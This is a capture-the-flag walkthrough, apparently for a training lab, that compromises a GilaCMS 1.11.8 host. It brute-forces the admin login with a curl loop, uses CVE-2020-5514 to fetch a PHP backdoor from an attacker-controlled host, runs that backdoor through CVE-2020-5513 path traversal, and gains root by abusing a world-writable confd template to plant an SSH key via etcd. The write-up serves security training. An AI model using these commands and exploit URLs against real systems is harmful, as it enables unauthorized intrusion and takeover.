This target tries to demonstrate how to exploit the GilaCMS by combining multiple CVE vulnerabilities and how to take advantage of configuration errors on `etcd` and `confd` to escalate our privileges.

These services are often found on cloud networks to distribute and deploy configuration changes on systems.

In any case, just like any other target we start with nmap.

```
$ nmap 10.0.100.32

Starting Nmap 7.60 ( https://nmap.org ) at 2021-01-22 18:39 EET
Nmap scan report for 10.0.100.32
Host is up (0.00013s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds
```

The portscan has provided us with our first hint

- **There is a need to brute force `http://pcprincipal.echocity-f.com/` for username and password but it should be easy to find in the 3rd try.**

So this seems more and more like a standard web service that we may have to bruteforce. Before we take any drastic steps lets investigate a bit further with the help of our good friends `lynx` and `curl` :)

```
$ curl 10.0.100.32
<meta http-equiv="refresh" content="0;url=/gila/" />
```

We get a `meta http-equiv` redirect for `/gila/` so lets dump the unique list of links from the first page there and see if we can find anything interesting.

```
$ lynx -nonumbers -dump -listonly 10.0.100.32/gila/|sort -u
http://10.0.100.32/gila/
http://10.0.100.32/gila/1/hello_world
http://10.0.100.32/gila/2/welcome_etcd
http://10.0.100.32/gila/3/confd_installed
http://10.0.100.32/gila/about
http://gilacms.com/
```

At this point and since this is a web application we start to look for flags. There aren't that many pages available, we can check them by hand or draft a quick one-liner to do if for us

```
$ for _link in $(lynx -nonumbers -dump -listonly 10.0.100.32/gila/|sort -u); do
   curl -s $_link|grep -i etsctf; done

I am PC Principal and I dont take kindly to non PC people
    <!-- ETSCTF_*REDUCTED* -->  </div>
```

This seemed to have worked. Looking online for GilaCMS vulnerabilities we find that there are quite a few CVEs affecting different versions of the application. The ones i came across and the versions they affect are as following

- CVE-2019-16679 Gila CMS before 1.11.1 directory traversal/file inclusion
- CVE-2019-11515 Gila CMS 1.10.1 path traversal to read arbitrary files
- CVE-2019-11456 Gila CMS 1.10.1 fm/save CSRF for executing arbitrary PHP code
- CVE-2019-9647 Gila CMS 1.9.1 has XSS
- CVE-2020-5512 Gila CMS 1.11.8 Directory Traversal
- CVE-2020-5513 Gila CMS 1.11.8 LFI
- CVE-2020-5514 Gila CMS 1.11.8 RCE
- CVE-2020-5515 Gila CMS 1.11.8 SQL Injection
- NO-CVE Gila CMS 2.0.0 Unauthenticated RCE

Trying to detect the version of the target installation proved harder than anticipated. Seems that the project has removed all previous versions and left us with a repository of the latest version only. Archive.org also failed to provide us with anything meaningful either.

All of the CVEs affecting the installation require authenticated access. Only the last vulnerability is for unauthenticated RCE but didn't seem to work on this installation.

So it seems that the only logical next step is that we try and detect a password to login and try the ones that require authentication. The hint we received earlier leads me to believe that the password should be fairly simple to guess.

Thankfully, finding the administration URL for the application was easy. So we visit the url at http://10.0.100.32/gila/admin/ and we're greeted with the login screen. We need an `email` and a `password`, so we go back to the hunt. From watching the front page articles we can see the system has a user named `admin`.

So i created a list of potential users/passwords

```
$ cat users
admin
pcprincipal
gilacms
gila
```

and a few domains to try

```
$ cat domains
10.0.100.32
echocity-f.com
pcprincipal.echocity-f.com
localhost
pcprincipal
```

I copied a failed request from chrome as `cURL request` and adapted it to perform a quick brute force with curl. A triple `for` loop later gives us this

```
$ cat brute.sh
for email in $(<emails);do
  for domain in $(<domains);do
    for pass in $(<emails);do
      curl -s 'http://10.0.100.32/gila/admin/' -H 'Origin: http://10.0.100.32' \
      -H 'Content-Type: application/x-www-form-urlencoded' \
      -H 'Referer: http://10.0.100.32/gila/admin/' \
      -d "username=$email@$domain&password=$pass" \
      | grep "Wrong email" >/dev/null \
      || echo "$email@$domain $pass seems valid"
    done
  done
done
```

running this provides us with the following

```
$ bash brutes.sh
admin@pcprincipal.echocity-f.com gilacms seems valid
```

And indeed using these details grants us access to the admin console of GilaCMS and another flag. Furthermore, we are also provided with the actual version of this GilaCMS installation which is `1.11.8`

With the new information at hand i switch my attention at the CVE's for this version and particularly the ones which can lead us to RCE.

My first target was CVE-2020-5514 which would allow us to upload a php file of our liking. The vulnerability seems fairly easy to exploit, all we have to do is make a request at `/gila/lzld/thumb?src={URL_OF_PHP_FILE_TO_UPLOAD}&media_thumb=80` replacing the `{URL_OF_PHP_FILE_TO_UPLOAD}` with one of our own.

In my case the final url to be requested looked like this

```
http://10.0.100.32/gila/lzld/thumb?src=http://10.10.0.11:4444/t.php&media_thumb=80
```

The file gets uploaded but we dont have access to it because it is protected by an apache .htaccess rule. After investigating the source code i deducted that the files are being uploaded on `gila/tmp` with a filename name that resembles the original url from which it got downloaded.

So for our url `http://10.10.0.11:4444/t.php` we get a file named `http_10.10.0.11_4444_t.php`.

Next attempt was to utilize the CVE-2020-5513 LFI vulnerability and execute our newly uploaded backdoor.

Again studying the vulnerability revealed that the exploitation is also fairly simple, all we have to do is a request at `/gila/cm/delete?t={INJECTION_PATH}`, replacing `{INJECTION_PATH}` with our own.

First i need to discover how i can get access to the file i have uploaded to the tmp folder. So i tested injecting the `robots.txt` like so

- `?t=robots.txt` nothing
- `?t=../robots.txt` nothing
- `?t=../../robots.txt` bingo

So now i know i need to go two levels up and request my uploaded file
`http://10.0.100.32/gila/cm/delete?t=../../tmp/http_10.10.0.11_4444_t.php&cmd=ls%20-la`

Now we have a way to execute system commands as the user running the webserver which in our case is `www-data`.

A reverse shell later and we can keep on working to escalate our privileges.

Escalating our access to root requires a further investigation. Checking running processes and services shows the following

1. `/usr/sbin/mysqld` The MySQL database
2. `logger -t mysqld -p daemon error` The logger utility used by mysql to send messages to syslog
3. `/usr/sbin/sshd` The SSH daemon
4. `/usr/bin/etcd` The etcd directory based key/value store. You've seen this if you have worked with kubernetes before.
5. `/bin/bash /usr/local/bin/etcd-feeder.sh` A script that we dont have permissions to read
6. `/usr/sbin/apache2 -k start` The processes for apache web server
7. `/work/src/github.com/kelseyhightower/confd/bin/confd` A daemon to manage local application configuration files using templates and data from etcd or consul.

My focus was at the two unusual ones `etcd` and `confd` so i visited their web pages and started studying their operation. It appears that `etcd` is the information database that `confd` queries and automatically updates configuration files.

So I looked at the configuration files for `confd` in order to understand how it is utilized on this particular system. The default configuration folder is under `/etc/confd`, so I just listed all files and directories recursively under there

```
ls -laR /etc/confd;

/etc/confd:
total 24
drwxr-xr-x 1 root root 4096 Jan 31  2020 .
drwxr-xr-x 1 root root 4096 Jan 22 20:07 ..
drwxrwxr-x 1 root root 4096 Jan 27  2020 conf.d
-rw-rw-r-- 1 root root  133 Jan 27  2020 confd.toml
drwxrwxr-x 2 root root 4096 Jan 27  2020 templates

/etc/confd/conf.d:
total 16
drwxrwxr-x 1 root root 4096 Jan 27  2020 .
drwxr-xr-x 1 root root 4096 Jan 31  2020 ..
-rw-rw-rw- 1 root root  150 Jan 27  2020 etsctf_authorized_keys.toml
-rw-rw-r-- 1 root root  221 Jan 27  2020 sshd_config.toml

/etc/confd/templates:
total 16
drwxrwxr-x 2 root root 4096 Jan 27  2020 .
drwxr-xr-x 1 root root 4096 Jan 31  2020 ..
-rw-rw-r-- 1 root root   35 Jan 27  2020 authorized_keys.tmpl
-rw-rw-r-- 1 root root  185 Jan 27  2020 sshd_config.tmpl
```

We can see that the file `/etc/confd/conf.d/etsctf_authorized_keys.toml` is world writable so lets check it out.

```
cat /etc/confd/conf.d/etsctf_authorized_keys.toml;

[template]
uid = 1001
mode = "0400"
src = "authorized_keys.tmpl"
dest = "/home/ETSCTF/.ssh/authorized_keys"
keys = [
    "/ETSCTF/authorized_keys",
]
```

The file seems "kind-of" self explanatory, we have `uid` that i guess is the user id we want the file to be owned, a `mode` for permissions, an `src` template, a destination file `dest` and the `keys` that will be queried for.

Lets check the `authorized_keys.tmpl` file

```
cat /etc/confd/templates/authorized_keys.tmpl;

{{getv "/ETSCTF/authorized_keys"}}
```

Based on information I got from the project documentation, this seems to be my way to escalate. These two files are responsible for generating an `authorized_keys` file for the user `ETSCTF` with the value of the etcd key `/ETSCTF/authorized_keys`.

So my new plan is to change the `toml` file in order to generate the ssh keys for the user root. I replaced the contents of the file with the following

```
[template]
uid = 0
mode = "0400"
src = "authorized_keys.tmpl"
dest = "/root/.ssh/authorized_keys"
keys = [
    "/ETSCTF/authorized_keys",
]
```

NOTE: If you produce an invalid file the service will crash and you will have to request a target restart for it to get back up.

Next, I generated an ssh key with no passphrase to use,

```
ssh-keygen -N '' -f /tmp/id_rsa;

Generating public/private rsa key pair.
Your identification has been saved in /tmp/id_rsa.
Your public key has been saved in /tmp/id_rsa.pub.
```

Now time to set our public key by using the `etcdctl` utility.

```
etcdctl set /ETSCTF/authorized_keys "$(</tmp/id_rsa.pub)";
...
...
ssh -i /tmp/id_rsa root@localhost
root@pcprincipal:~#
```

And we are root lets grab the rest of the flags

```
ls /root/ETSCTF*
cat /root/ETSCTF*
grep ETSCTF /etc/shaddow /etc/passwd /proc/1/environ
```

Now we see there are a few more flags we haven't grabbed so lets keep on digging,

```
etcdctl get ETSCTF
mysqlshow
mysqldump ETSCTF|grep -i etsctf
```

Now go get your headshot.